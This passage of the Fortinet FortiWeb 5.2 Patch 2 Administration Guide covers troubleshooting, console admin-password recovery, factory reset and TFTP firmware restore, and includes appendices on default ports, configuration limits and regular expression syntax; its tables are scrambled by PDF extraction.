1. In the web UI, go to User > User Group > User Group and examine each group to locate the name of the problem user.
688 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
2. Note the user group to which the affected users belong, especially if multiple affected users are part of one group. If the user is not a group member, there is no access.
3. Go to Application Delivery > Authentication Policy > Authentication Rule and determine which rule contains the problem user group. If the user group is not part of a rule, there is no access.
4. Go to Application Delivery > Authentication Policy > Authentication Policy and locate the policy that contains the rule governing the problem user group. If the rule is not part of a policy, there is no access.
5. Go to Policy > Web Protection Profile > Inline Protection Profile and determine which profile contains the related authentication policy. If the policy is not part of a profile, there is no access.
6. Make sure that inline protection profile is included in the server policy that applies to the server the user is trying to access. If the profile is not part of the server policy, there is no access.
Authentication involves user groups, authentication rules and policy, inline protection policy, and finally, server policy. If a user is not in a user group used in the policy for a specific server, the user will have no access.
When an administrator account cannot log in from a specific IP
If an administrator is entering his or her correct account name and password, but cannot log in from some or all computers, examine that account’s trusted host definitions (see
#1” on page 224 ). It should include all locations where that person is allowed to log in, such as
your office, but should not be too broad.
Remote authentication query failures
If your network administrators’ or other accounts reside on an external server (e.g. Active
Directory or RADIUS), first switch the account to be locally defined on the FortiWeb appliance. If the local account fails, correct connectivity between the client and appliance (see
“Connectivity issues” on page 674
). If the local account succeeds, troubleshoot connectivity between the appliance and your authentication server. If routing exists but authentication still fails, you can verify correct vendor-specific attributes and other protocol-specific fields by running a packet
trace (see “Packet capture” on page 666 ).
Resetting passwords
If someone has forgotten or lost his or her password, or if you need to change an account’s password, the admin administrator can reset the password.
If you forget the password of the admin administrator, however, you will not be able to reset its password through the web UI. You can either:
• reset the FortiWeb appliance to its default state (including the default administrator account and password) by restoring the firmware. For instructions, see
“Restoring firmware (“clean install”)” on page 696 .
• connect to the local console, reboot the FortiWeb appliance, and set the password (see “To reset the admin account’s password” on page 690 )
To reset an account’s password
1. Log in as the admin administrator account.
2. Go to System > User > User.
3. Click the row to select the account whose password you want to change.
689 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
4. Click Edit.
5. In the New Password and Confirm Password fields, type the new password.
6. Click OK.
The new password takes effect the next time that account logs in.
To reset the admin account’s password
To do this, you must either have direct physical, local access to the appliance, or have connected it to your terminal server which serves as an aggregator for direct physical accesses.
For security reasons, this cannot be done via the web UI nor via CLI through the Ethernet network adapters.
1. Power off the FortiWeb appliance.
2. Find the serial number of the FortiWeb.
This is usually on the bottom of physical appliances. If you have previously registered the appliance to associate it with your Fortinet Technical Support account, you can also retrieve it from the web site .
3. On your computer, copy the serial number.
This is so that you are ready to quickly paste it into the terminal emulator. (Typing it slowly may cause the login to time out.) The serial number is case sensitive.
4. While the appliance is shut down, connect the local console port of your appliance to your computer.
5. On your management computer, start a terminal emulator such as PuTTY . For details, see
“To connect to the CLI using a local console connection” on page 82 .
6. Power on the FortiWeb appliance.
Power on self-test (POST) and other messages should begin to appear in the console.
7. Between 15 - 30 seconds after the login prompt appears, immediately enter: maintainer then enter: bcpb<serial-number_str> where <serial-number_str> is the serial number. (If you have copied it, in PuTTY, you can right-click to quickly paste it, instead of typing it in. This will prevent the login from timing out.)
If you are successful, the CLI will welcome you, and you can then enter the following commands to reset the admin account’s password: config system admin edit admin set password <new-password_str> end exit where <new-password_str> is the password for the administrator account named admin.
If you do not enter both the correct user name and the password within the correct time frame, the console will display an error message:
The hashed password length is invalid
To attempt the login again, power cycle the appliance.
690 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Data storage issues
If FortiWeb cannot locally store any data such as logs, reports, and web site backups for anti-defacement, it might have a damaged or corrupted hard disk. For fixes, see
“Hard disk corruption or failure” on page 691
.
If FortiWeb has been storing data but has suddenly stopped, first verify that FortiWeb has not used all of its local storage capacity by entering this CLI command: diagnose system mount list to display disk usage for all mounted file systems, such as:
Filesystem 1k-blocks Used Available Use% Mounted on
/dev/ram0 61973 31207 30766 50% / none 262144 736 261408 0% /tmp none 262144 0 262144 0% /dev/shm
/dev/sdb2 38733 25119 11614 68% /data
/dev/sda1 153785572 187068 145783964 0% /var/log
/dev/sdb3 836612 16584 777528 2% /home
You can use alerts to notify you when FortiWeb has almost consumed its hard disk space. See
“SNMP traps & queries” on page 612
. You can also configure FortiWeb to overwrite old logs
rather than stopping logging when the disk is full. See “When log disk is full” on page 580 .
(Keep in mind, however, that this may not prevent full disk problems for other features. To free disk space, delete files such as auto-learning data and old reports that you no longer need.)
If a full disk is not the problem, examine the configuration to determine if an administrator has disabled those features that store data.
If neither of those indicate the cause of the problem, verify that the disk’s file system has not been mounted in read-only mode, which can occur if the hard disk is experiencing problems
with its write capabilities (see “Hard disk corruption or failure” on page 691 ).
Bootup issues
While FortiWeb is booting up, hardware and firmware components must be present and functional, or startup will fail. Depending on the degree of failure, FortiWeb may appear to be partially functional. You may notice that you cannot connect at all. If you can connect, you may notice that features such as reports and anti-defacement do not work. If you have enabled logging to an external location such as a Syslog server or FortiAnalyzer, or to memory, you should notice this log message: log disk not mounted
Depending on the cause of failure, you may be able to fix the problem.
Hard disk corruption or failure
FortiWeb appliances usually have multiple disks. FortiWeb stores its firmware (operating system) and configuration files in a flash disk, but most models of FortiWeb also have an internal hard disk or RAID that is used to store non-configuration/firmware data such as logs, reports, auto-learning data, and web site backups for anti-defacement. During startup, after
FortiWeb loads its boot loader, FortiWeb will attempt to mount its data disk. If this fails due to errors, you will have the opportunity to attempt to recover the disk.
691 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
To determine if one of FortiWeb’s internal disks may either:
• have become corrupted
• have experienced mechanical failure view the event log. If the data disk failed to mount, you should see this log message: date=2012-09-27 time=07:49:07 log_id=00020006 msg_id=000000000002 type=event subtype="system" pri=alert device_id=FV-1KC3R11700136 timezone="(GMT-5:00)Eastern Time(US & Canada)" msg="
log disk is not mounted
"
Connect to FortiWeb’s CLI via local console, then supply power. After the boot loader starts, you should see this prompt:
Press [enter] key for disk integrity verification.
Pressing the Enter key will cause FortiWeb to check the hard disk’s file system to attempt to resolve any problems discovered with that disk’s file system, and to determine if the disk can be mounted (mounted disks should appear in the internal list of mounted file systems,
/etc/mtab
). During the check, FortiWeb will describe any problems that it finds, and the results of disk recovery attempts, such as: ext2fs_check_if_mount: Can’t detect if filesystem is mounted due to missing mtab file while determining where /dev/sda1 is mounted.
/dev/sda1: recovering journal
/dev/sda1: clean, 56/61054976 files, 3885759/244190638 blocks
If the problem occurs while FortiWeb is still running (or after an initial reboot and attempt to repair the file system), in the CLI, enter: diagnose hardware harddisk list to display the number and names of mounted file systems.
For example, on a FortiWeb 1000C with a single properly functioning internal hard disk plus its internal flash disk, this command should show two file systems: name size(M) sda 1000204.89
sdb 1971.32
where sda, the larger file system, is from the hard disk used to store non-configuration/firmware data.
If that command does not list the data disk’s file system, FortiWeb did not successfully mount it. Try to reboot and run the file system check.
If the data disk’s file system is listed and appears to be the correct size, FortiWeb could mount it. However, there still could be other problems preventing the file system from functioning, such as being mounted in read-only mode, which would prevent new logs and other data from being recorded. To determine this, enter: diagnose hardware logdisk info to display the count, capacity, RAID status/level, partition numbers, and read-write/read-only mount status.
692 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
For example, on a FortiWeb-1000C with a single properly functioning data disk, this command should show: disk number: 1 disk[0] size: 976.76GB
raid level: raid1 partition number: 1 mount status: read-write
To prevent file system corruption in the future, and to prevent possible physical damage, always make sure to shut down FortiWeb’s operating system before disconnecting the power.
You can also display the status of each individual disk in the RAID array:
FortiWeb # diag hardware raid list disk-number size(M) level
0(OK),1(OK), 1877274 raid1
If the file system could not be fixed by the file system check, it may be physically damaged or components may have worn out prematurely. Most commonly, this is caused by either:
• failing to shut down FortiWeb’s operating system before disconnecting the power (e.g. someone pulled the power plug while FortiWeb was running)
• logging misconfiguration (e.g. logging very frequent logs like traffic logs or debug logs for an extended period of time to the local hard drive)
For hardware replacement, contact Fortinet Customer Service: https://support.fortinet.com
Power supply failure
If you have supplied power, but the power indicator LEDs are not lit and the hardware has not started, the power supply may have failed. Contact Fortinet Customer Service: https://support.fortinet.com
After powering on, if the power indicator LEDs are lit but a few minutes have passed and you still cannot connect to the FortiWeb appliance through the network using CLI or the web UI, you can either:
•
restore the firmware “Restoring firmware (“clean install”)” on page 696
(This usually solves most typically occurring issues.)
Always halt the FortiWeb OS before disconnecting the power. Power disruption while the OS is running can cause damage to the disks and/or software.
• verify that FortiWeb can successfully complete bootup
To verify bootup, connect your computer directly to FortiWeb’s local console port, then on your computer, open a terminal emulator such as PuTTY . Configure it to log all printable console output to a file so that you have a copy of the console's output messages in case you need to send it to Fortinet Technical Support .
693 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Once connected, power cycle the appliance and observe the FortiWeb’s output to your terminal emulator. You will be looking for some specific diagnostic indicators.
1. Are there console messages but text is garbled on the screen? If yes, verify your terminal emulator’s settings are correct for your hardware. Typically, however, these are baud rate
9600, data bits 8, parity none, stop bits 1.
2. Does the hardware successfully complete the hardware power on self test (POST) and BIOS memory tests?
If not, you may need to replace the hardware. For assistance, contact Fortinet Customer
Service: https://support.fortinet.com
3. Does the boot loader start? You should see a message such as:
FortiBootLoader
FortiWeb-1000C (17:52-09.08.2011)
Ver:00010018
Serial number:FV-1KC3R11700094
Total RAM: 3072MB
Boot up, boot device capacity: 1880MB.
Press any key to display configuration menu...
If the boot loader does not start, you may need to restore it. For assistance, contact Fortinet
Technical Support: https://support.fortinet.com
4. When pressing a key during the boot loader, do you see the following boot loader options?
[G]: Get firmware image from TFTP server.
[F]: Format boot device.
[B]: Boot with backup firmware and set as default.
[Q]: Quit menu and continue to boot with default firmware.
[H]: Display this list of options.
Enter G,F,B,Q,or H:
Please connect TFTP server to Ethernet port "1".
If the boot loader does not start, you may need to restore it. For assistance, contact Fortinet
Technical Support: https://support.fortinet.com
5. Can the boot loader read the image of the OS software in the selected boot partition (primary or backup/secondary, depending on your selection in the boot loader)? You should see a message such as the following:
Reading boot image 2479460 bytes.
Initializing FortiWeb...?
System is started.
If not, the image may be corrupted. Reboot and use the boot loader to switch to the other
partition, if any (see “Booting from the alternate partition” on page 96
).
). If the firmware cannot be successfully restored, format the boot partition, and try again.
If you still cannot restore the firmware, there could be either a boot loader or disk issue.
Contact Fortinet Technical Support: https://support.fortinet.com
694 FortiWeb 5.2 Patch 2 Administration Guide
6. Does the login prompt appear? You should see a prompt like this:
FortiWeb login:
If not, or if the login prompt is interrupted by error messages, restore the OS software (see
“Restoring firmware (“clean install”)” on page 696
). If you recently upgraded the firmware, try downgrading by restoring the previously installed, last known good, version.
If restoring the firmware does not solve the problem, there could be a data or boot disk issue. Contact Fortinet Technical Support: https://support.fortinet.com
If you can see and use the login prompt on the local console, but cannot successfully establish a session through the network (web UI, SSH or Telnet), first examine a backup copy of the configuration file to verify that it is not caused by a misconfiguration. The network interface and administrator accounts must be configured to allow your connection and login attempt (see
“Configuring the network settings” on page 119
).
If the configuration appears correct, but no network connections are successful, first try restoring the firmware to rule out corrupted data that could be causing problems (see
“Restoring firmware (“clean install”)” on page 696
). You can also use this command to verify that resource exhaustion is not the problem: diagnose system top delay 5
The process system usage statistics continues to refresh and display in the CLI until you press q (quit).
Issues forwarding non-HTTP/HTTPS traffic
If FortiWeb is operating in reverse proxy mode, by default, it does not forward non HTTP/HTTPS protocols to protected servers.
However, you can use the following command to enable IP-based forwarding (routing): config router setting set ip-forward {enable | disable} end
Resetting the configuration
If you will be selling your FortiWeb appliance, or if you are not sure what part of your configuration is causing a problem, you can reset it to its default settings and erase data. (If you have not updated the firmware, this is the same as resetting to the factory default settings.)
Back up your configuration before beginning this procedure, if possible. Resetting the configuration could include the IP addresses of network interfaces. For information on backups, see
. For information on reconnecting to a FortiWeb appliance whose
network interface configuration was reset, see “Connecting to the web UI or CLI” on page 78 .
To delete your data from the appliance, connect to the CLI and enter this command: execute formatlogdisk
Fortinet 695 FortiWeb 5.2 Patch 2 Administration Guide
To reset the appliance’s configuration, connect to the CLI and enter this command: execute factoryreset
Alternatively, you can reset the appliance’s configuration to its default values for a specific software version by restoring the firmware during a reboot (a “clean install”). See
“Restoring firmware (“clean install”)” on page 696
.
Restoring firmware (“clean install”)
Restoring (also called re-imaging) the firmware can be useful if:
• you are unable to connect to the FortiWeb appliance using the web UI or the CLI
• you want to install firmware without preserving any existing configuration (i.e. a
“clean install”)
• a firmware version that you want to install requires a different size of system partition (see the Release Notes accompanying the firmware)
• a firmware version that you want to install requires that you format the boot device (see the
Release Notes accompanying the firmware)
Unlike updating firmware, restoring firmware re-images the boot device, including the signatures that were current at the time that the firmware image file was created. Also, restoring firmware can only be done during a boot interrupt, before network connectivity is available, and therefore requires a local console connection to the CLI. It cannot be done through an SSH
or Telnet connection.
Alternatively, if you cannot physically access the appliance’s local console connection, connect the appliance’s local console port to a terminal server to which you have network access. Once you have used a client to connect to the terminal server over the network, you will be able to use the appliance’s local console through it. However, be aware that from a remote location, you may not be able to power cycle the appliance if abnormalities occur.
To restore the firmware
Back up your configuration before beginning this procedure, if possible. Restoring firmware resets the configuration, including the IP addresses of network interfaces. For information on
backups, see “Backups” on page 215 . For information on reconnecting to a FortiWeb appliance
whose network interface configuration was reset, see “Connecting to the web UI or CLI” on page 78
.
1. Download the firmware file from the Fortinet Technical Support web site: https://support.fortinet.com/
2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.
3. Initiate a local console connection from your management computer to the CLI of the
FortiWeb appliance, and log in as the admin administrator, or an administrator account whose access profile contains Read and Write permissions in the Maintenance category.
For details, see
“Connecting to the web UI or CLI” on page 78
.
4. Connect port1 of the FortiWeb appliance directly or to the same subnet as a TFTP server.
5. Copy the new firmware image file to the root directory of the TFTP server.
Fortinet 696 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
6. If necessary, start your TFTP server. (If you do not have one, you can temporarily install and run one such as tftpd ( Windows , Mac OS X , or Linux ) on your management computer.)
Because TFTP is not secure, and because it does not support authentication and could allow anyone to have read and write access, you should only run it on trusted administrator-only networks, never on computers directly connected to the Internet. If possible, immediately turn off tftpd off when you are done.
7. Verify that the TFTP server is currently running, and that the FortiWeb appliance can reach the TFTP server.
To use the FortiWeb CLI to verify connectivity, enter the following command: execute ping 192.168.1.168
where 192.168.1.168 is the IP address of the TFTP server.
8. Enter the following command to restart the FortiWeb appliance: execute reboot
9. As the FortiWeb appliances starts, a series of system startup messages appear.
Press any key to display configuration menu........
10.Immediately press a key to interrupt the system startup.
You have only 3 seconds to press a key. If you do not press a key soon enough, the FortiWeb appliance reboots and you must log in and repeat the execute reboot command.
If you successfully interrupt the startup process, the following messages appears:
[G]: Get firmware image from TFTP server.
[F]: Format boot device.
[B]: Boot with backup firmware and set as default.
[Q]: Quit menu and continue to boot with default firmware.
[H]: Display this list of options.
Enter G,F,B,Q,or H:
Please connect TFTP server to Ethernet port "1".
11.If the firmware version requires that you first format the boot device before installing firmware, type F. Format the boot disk before continuing.
12.Type G to get the firmware image from the TFTP server.
The following message appears:
Enter TFTP server address [192.168.1.168]:
13.Type the IP address of the TFTP server and press Enter.
The following message appears:
Enter local address [192.168.1.188]:
14.Type a temporary IP address that can be used by the FortiWeb appliance to connect to the
TFTP server.
The following message appears:
Enter firmware image file name [image.out]:
697 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
15.Type the file name of the firmware image and press Enter.
The FortiWeb appliance downloads the firmware image file from the TFTP server and displays a message similar to the following:
MAC:00219B8F0D94
###########################
Total 28385179 bytes data downloaded.
Verifying the integrity of the firmware image..
Save as Default firmware/Backup firmware/Run image without saving:[D/B/R]?
If the download fails after the integrity check with the error message: invalid compressed format (err=1) but the firmware matches the integrity checksum on the Fortinet Technical Support web site, try a different TFTP server.
16.Type D.
The FortiWeb appliance downloads the firmware image file from the TFTP server. The
FortiWeb appliance installs the firmware and restarts. The time required varies by the size of the file and the speed of your network connection.
The FortiWeb appliance reverts the configuration to default values for that version of the firmware.
17.To verify that the firmware was successfully installed, log in to the CLI and type: get system status
The firmware version number is displayed.
18.Either reconfigure the FortiWeb appliance or restore the configuration file. For details, see
“How to set up your FortiWeb” on page 65 and
“Restoring a previous configuration” on page 219
.
If you are downgrading the firmware to a previous version, and the settings are not fully backwards compatible, the FortiWeb appliance may either remove incompatible settings, or use the feature’s default values for that version of the firmware. You may need to reconfigure some settings.
19.Update the attack definitions.
Installing firmware replaces the current attack definitions with those included with the firmware release that you are installing. After you install the new firmware, make sure that your attack
698 FortiWeb 5.2 Patch 2 Administration Guide
Appendix A: Port numbers
Communications between the FortiWeb appliance, clients, protected web servers, and
FortiGuard Distribution Network (FDN) require that any routers and firewalls between them permit specific protocols and port numbers.
The following tables list the default port assignments used by FortiWeb.
Table 59: Default ports used by FortiWeb for outgoing traffic
Port number Protocol
N/A ARP
N/A
21
22
25
53
69
80
123
137, 138, 139
162
389
ICMP
TCP
TCP
TCP
UDP
UDP
TCP
UDP
UDP
UDP
TCP
Purpose
HA failover of network interfaces. See “HA heartbeat & synchronization” on page 40
.
•
Server health checks. See “Configuring server up/down checks” on page 265 .
• execute ping
and execute traceroute. See the
FortiWeb CLI Reference
.
• Anti-defacement backup and restoration (FTP). See
“Anti-defacement” on page 526 .
• FTP configuration backup. See
“To back up the configuration via the web UI to an FTP/SFTP server” on page 217
.
• Anti-defacement backup and restoration (SSH/SCP). See
“Anti-defacement” on page 526 .
• SFTP configuration backup. See
“To back up the configuration via the web UI to an FTP/SFTP server” on page 217
.
SMTP for alert email. See
“Configuring email settings” on page 608 .
DNS queries. See
“Configuring DNS settings” on page 139
.
TFTP for backups, restoration, and firmware updates. See commands such as execute backup or execute restore
in the
FortiWeb CLI Reference
.
Server health checks. See
“Configuring server up/down checks” on page 265
.
NTP synchronization. See “Setting the system time & date” on page 99
.
Anti-defacement backup and restoration (Windows-style share). See
.
SNMP traps. See
“SNMP traps & queries” on page 612
.
LDAP authentication queries. See
“Configuring LDAP queries” on page 238 .
699 FortiWeb 5.2 Patch 2 Administration Guide Fortinet
Fortinet
Table 59: Default ports used by FortiWeb for outgoing traffic
Port number Protocol
443 TCP
445
514
636
1812
6055
6056
8333
TCP
UDP
TCP
UDP
UDP
UDP
TCP
Purpose
• FortiGuard service polling and update downloads. See
“Connecting to FortiGuard services” on page 143
.
•
Server health checks. See “Configuring server up/down checks” on page 265 .
•
NTLM authentication queries. See “Configuring NTLM queries” on page 245
.
• Anti-defacement backup and restoration (Windows-style
share). See “Anti-defacement” on page 526 .
Syslog. See
“Configuring logging” on page 575 .
LDAPS authentication queries.See
“Configuring LDAP queries” on page 238 .
RADIUS authentication queries. See
“Configuring RADIUS queries” on page 242 .
HA heartbeat. Layer 2 multicast. See
“HA heartbeat & synchronization” on page 40
.
HA configuration synchronization. Layer 2 multicast. See
“HA heartbeat & synchronization” on page 40 .
.
Table 60: Default ports used by FortiWeb for incoming traffic (listening)
Port number Protocol
N/A ICMP
22
23
80
161
TCP
TCP
TCP
UDP
Purpose
ping
and traceroute responses. See “Configuring the network interfaces” on page 121 .
SSH administrative CLI access. See
“Configuring the network interfaces” on page 121 .
Telnet administrative CLI access. See “Configuring the network interfaces” on page 121 .
•
HTTP administrative web UI access. See “Configuring the network interfaces” on page 121
and
.
• Predefined HTTP service. Only occurs if the service is
used by a policy. See “Predefined services” on page 291 .
SNMP queries. See
“Configuring an SNMP community” on page 614
and “Configuring the network interfaces” on page 121 .
700 FortiWeb 5.2 Patch 2 Administration Guide
Table 60: Default ports used by FortiWeb for incoming traffic (listening)
Port number Protocol
443 TCP
8333
6055
6056
TCP
UDP
UDP
Purpose
• HTTPS administrative web UI access. Only occurs if the destination address is a network interface’s IP address.
See “Configuring the network interfaces” on page 121
and
“How to use the web UI” on page 50
.
• Predefined HTTPS service. Only occurs if the service is used by a policy, and if the destination address is a virtual
server or bridged connection. See “Predefined services” on page 291
.
.
HA heartbeat. Layer 2 multicast. See
“HA heartbeat & synchronization” on page 40
.
HA configuration synchronization. Layer 2 multicast. See
“HA heartbeat & synchronization” on page 40 .
Fortinet 701 FortiWeb 5.2 Patch 2 Administration Guide
Appendix B: Maximum configuration values
These tables show the maximum number of configuration objects or limits that vary by them, and are not a guarantee of performance. For values such as hardware specifications that do not vary by software version or configuration, see your model’s QuickStart Guide.
Table 61: Maximum number of ADOMs per FortiWeb
FortiWeb models
FortiWeb
400B/1000B
FortiWeb-VM
(2-4 GB RAM)
FortiWeb-VM
(4-8 GB RAM)
FortiWeb-VM (8-16
GB RAM),
FortiWeb 400C,
FortiWeb 1000C,
FortiWeb 3000C/
CFsx,
FortiWeb 4000C
FortiWeb-VM 16+ GB
RAM,
FortiWeb 1000D,
FortiWeb 3000D/
DFsx,
FortiWeb 4000D
N/A 4 12 32 64
The below values are per ADOM. For example, the maximum number of server policies is 256 on a FortiWeb 4000D. Each additional ADOM can have an additional 256 server policies.
However, due to the performance impact relative to each model's RAM constraints, maximizing the number of objects in all ADOMs is obviously not recommended..
Table 62: Maximum configuration objects (physical appliances)
Persistent IP sessions to servers per appliance
See also the
and
Policies per appliance*
HTTP transactions per second
FortiWeb model
FortiWeb
400B/
C
FortiWeb
1000B/
C/
D
20 000/
25 000
6/
12
10 000
40 000/
60 000/
700 000
40/
60/
128
22 000/
27 000/
40 000
FortiWeb
3000C/
CFsx/
D/
DFsx
100 000/
100 000/
700 000/
700 000
100/
100/
256/
256
40 000/
40 000/
60 000/
60 000
FortiWeb
4000C/
D
150/
512
70 000/
100 000
150 000/
700 000
702 FortiWeb 5.2 Patch 2 Administration Guide Fortinet
Table 62: Maximum configuration objects (physical appliances)
FortiWeb model
FortiWeb
400B/
C
FortiWeb
1000B/
C/
D
FortiWeb
3000C/
CFsx/
D/
DFsx
FortiWeb
4000C/
D
Physical interfaces +
VLAN subinterfaces
32
20
Servers per server farm
Protected/allowed host names groups
255 (64 host names per group for a total of 16,320 host names)
Maximum values on FortiWeb-VM
FortiWeb-VM has 4 virtual network interfaces (vNICs, or virtual ports).
The maximum number of server policies initially varies by the maximum amount of virtual memory (vRAM) available to FortiWeb-VM in VMware, up to a hard limit. FortiWeb-VM allows up to 20 policies for the first 1 GB of vRAM, then an additional 15 policies per additional 1 GB of vRAM, up to a maximum of 255 server policies.
In other words, at first, the server policy limit increases linearly with vRAM. But after 7 GB of vRAM, further increasing the vRAM no longer has an affect. 8 GB or more vRAM allows up to
255 server policies. (Keep in mind that increasing the vRAM may still benefit performance.)
The maximum number of sessions with the back-end web servers varies by the maximum number of vCPUs allowed by your FortiWeb-VM license.
To see the maximum allowed sessions for your FortiWeb-VM installation
1. Go to Policy > Server Policy > Server Policy.
2. Either click New or edit an existing policy.
3. Look at the minimum-maximum range indicator next to the Persistent Server Sessions option. That number tells you the maximum server sessions for your installation.
Table 63: Persistent IP sessions to servers
Per VM
Per policy
FortiWeb-VM license/model
VM01 VM02 VM04 VM08
8 000
8 000
20 000
8 000
50 000
15 000
100 000
50 000
Fortinet 703 FortiWeb 5.2 Patch 2 Administration Guide
Appendix D: Regular expressions
Most FortiWeb features support regular expressions. Regular expressions are a powerful way of denoting all possible forms of a string. They are very useful when trying to match text that comes in many variations but follows a definite pattern, such as dynamic URLs or web page content.
Regular expressions can involve very computationally intensive evaluations. For best performance, you should only use regular expressions where necessary, and build them
with care. For information on optimization, see
“Regular expression performance tips” on page 648 .
See also
•
•
•
•
Regular expression syntax
Accurate regular expression syntax is vital for detecting different forms of the same attack, for rewriting all but only the intended URLs, and for allowing normal traffic to pass (see
“Reducing false positives” on page 657 ). When configuring
always use the >> (test) button to:
• Validate your expression’s syntax.
• Look for unintended matches.
• Verify intended matches.
Will your expression match? Will it match more than once? Where will it match? Generally, unless the feature is specifically designed to look for all instances, FortiWeb will evaluate only a specific location for a match, and it will start from that location’s beginning. (In English, this is the left most, topmost point in the string.) FortiWeb will take only the first match, unless you have defined a number of repetitions.
FortiWeb follows most Perl-compatible regular expression (PCRE) syntax.
each feature, such as “Example: Sanitizing poisoned HTML” on page 393 .
Inverse string matching is not currently supported.
For example, to match all strings that do not contain hamsters, you cannot use:
!(hamsters)
You can, however, use inverse matching for specific character classes, such as:
[^A] to match any string that contains any characters that are not the letter A.
Fortinet 704 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 64: Popular FortiWeb regular expression syntax
Notation Function Sample Matches
Anything
except
*.|^$?+\(){}[]
Literal match, except if the character is part of a:
• capture group
• back-reference (e.g. $0 or \1)
• other regular expression token (e.g. \w)
Text: My cat catches things.
Regular expression: cat
Matches: cat
Depending on whether the feature looks for all instances, it may also match “cat” in the beginning of “catches”.
\
(?i)
Escape character. If it is followed by: Text: /url?parameter=value
• An alphanumeric character, the alphanumeric character is not matched literally as usual. Instead, it is interpreted as a regular expression token. For example, \w matches a word, as defined by the locale.
Regular expression: \?param
Matches: ?param
• Any regular expression special character:
*.|^$?+\(){}[]\ this escapes interpretation as a regular expression token, and instead treats it as a normal letter. For example, \\ matches:
\
Turns on case-insensitive matching for subsequent evaluation, until it is turned off or the evaluation completes.
Text: /url?Parameter=value
Regular expression: (?i)param
Matches: Param
Would also match pArAM etc.
\n
\r
Matches a new line (also called a line feed).
Microsoft Windows platforms typically use \r\n at the end of each line. Linux and Unix platforms typically use \n. Mac OS X typically uses \r
Text: My cat catches things.
Regular expression: \n
Matches: The end of the text on
Linux and other Unix-like platforms, only part of the line ending on Windows, and nothing on Mac OS X.
Matches a carriage return.
Text: My cat catches things.
Regular expression: \r
Matches: Part of the line ending on Windows, nothing on
Linux/Unix, and the whole line ending on Mac OS X.
705 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 64: Popular FortiWeb regular expression syntax
.
Notation
\s
\S
\d
\D
\w
\W
Function
Matches a space, non-breaking space, tab, line ending, or other white space character.
Text: <a href=‘http://www.example.com’
>
Tip: Many languages do not separate words with white space. Even in languages that usually use a white space separator, words can be separated with many other characters such as:
\/-”’"“‘.,><—:; and new lines.
In these cases, you should usually include those in addition to \s in a match set (
may need to use \b (word boundary) instead.
Regular expression: www\.example\.com\s
Matches: Nothing.
Due to the final ’ which is a word boundary but not a white space, this does not match. The regular expression should be: www.example.com\b
Matches a character that is not white space, such as A or 9.
Matches a decimal digit such as 9.
Sample Matches
Text: My cat catches things.
Regular expression: \S
Matches: Mycatcatchesthings.
Text: /url?parameterA=value1
Regular expression: \d
Matches: 1
Matches a character that is not a digit, such as
A or b or É.
Matches a whole word.
Text: Yahoo!
Words are substrings of any uninterrupted combination of one or more characters from this set:
Regular expression: \w
Matches: Yahoo
[a-zA-Z0-9_] between two word boundaries (space, new line,
:
, etc.).
Does not match the terminal exclamation point, which is a word boundary.
It does not match Unicode characters that are equivalent, such as
三 , ?? or 光 .
Matches anything that is not a word.
Text: Sell?!?~
Regular expression: \W
Matches: ?!?~
Matches any single character except \r or \n.
Note: If the character is written by combining two Unicode code points, such as à where the core letter is encoded separately from the accent mark, this will not match the entire character: it will only match one of the code points.
Text: My cat catches things.
Regular expression: c.t
Matches: cat cat
706 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 64: Popular FortiWeb regular expression syntax
Notation
+
*
Function Sample Matches
Repeatedly matches the previous character or capture group, 1 or more times, as many times as possible (also called “greedy” matching)
unless followed by a question mark ( ? ), which makes it optional.
Text: www.example.com
Regular expression: w+
Matches: www
Does not match if there is not at least 1 instance.
Would also match “w”, “ww”,
“wwww”, or any number of uninterrupted repetitions of the character “w”.
Repeatedly matches the previous character or capture group, 0 or more times. Depending on its combination with other special characters, this token could be either:
Text: www.example.com
Regular expression: .*
Matches: www.example.com
• * — Match as many times as possible (also called “greedy” matching).
• *? — Match as few times as possible (also called “lazy” matching).
All of any text, except line endings (\r and \n).
Text: www.example.com
Regular expression: (w)*?
Matches: www
Would also match common typos where the “w” was repeated too few or too many times, such as “ww” in w.example.com or “wwww” in wwww.example.com. It would still match, however, if no amount of “w” existed.
? except when followed by
=
?=
Makes the preceding character or capture group optional (also called “lazy” matching).
Text: www.example.com
Regular expression:
(www\.)?example.com
Matches: www.example.com
Would also match example.com.
Looks ahead to see if the next character or capture group matches and evaluate the match based upon them, but does not include those next characters in the returned match string (if any).
Text: /url?parameter=valuepack
Regular expression: p(?=arameter)
Matches: p, but only in
“parameter, not in “pack”, which does not end with “arameter”.
This can be useful for back-references where you do not want to include permutations of the final few characters, such as matching “cat” when it is part of “cats” but not when it is part of “catch”.
707 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 64: Popular FortiWeb regular expression syntax
|
Notation
()
^
$
[]
Function
Matches either the character/capture group before or after the pipe ( | ).
Sample Matches
Creates a capture group or sub-pattern for back-reference or to denote order of
operations. See also “Example: Inserting & deleting body text” on page 395
and “What are back-references?” on page 709 .
Text: /url/app/app/mapp
Regular expression: (/app)*
Matches: /app/app
Text:
/url?paramA=valueA¶mB=v alueB
Regular expression:
(param)A=(value)A&\0B\1B
Matches: paramA=valueA¶mB=value
B
Text: Host: www.example.com
Regular expression: (\r\n)|\n|\r
Matches: The line ending, regardless of platform.
Matches either: Text: /url?parameter=value
• the position of the beginning of a line (or, in multiline mode, the first line), not the first character itself
• the inverse of a character, but only if ^ is the first character in a character class, such as
[^A]
Regular expression: ^/url
Matches: /url, but only if it is at the beginning of the path string.
It will not match “/url” in subdirectories.
Text: /url?parameter=value
This is useful if you want to match a word, but only when it occurs at the start of the line, or when you want to match anything that is not a specific character.
Regular expression: [^u]
Matches: /rl?parameter=vale
Matches the position of the end of a line (or, in multiline mode, the entire string), not the last character itself.
Defines a set of characters or capture groups that are acceptable matches.
To define a set via a whole range instead of listing every possible match, separate the first and last character in the range with a hyphen.
Text: /url?parameter=value1
Regular expression: [012]
Matches: 1
Would also match 0 or 2.
Note: Character ranges are matched according to their numerical code point in the encoding.
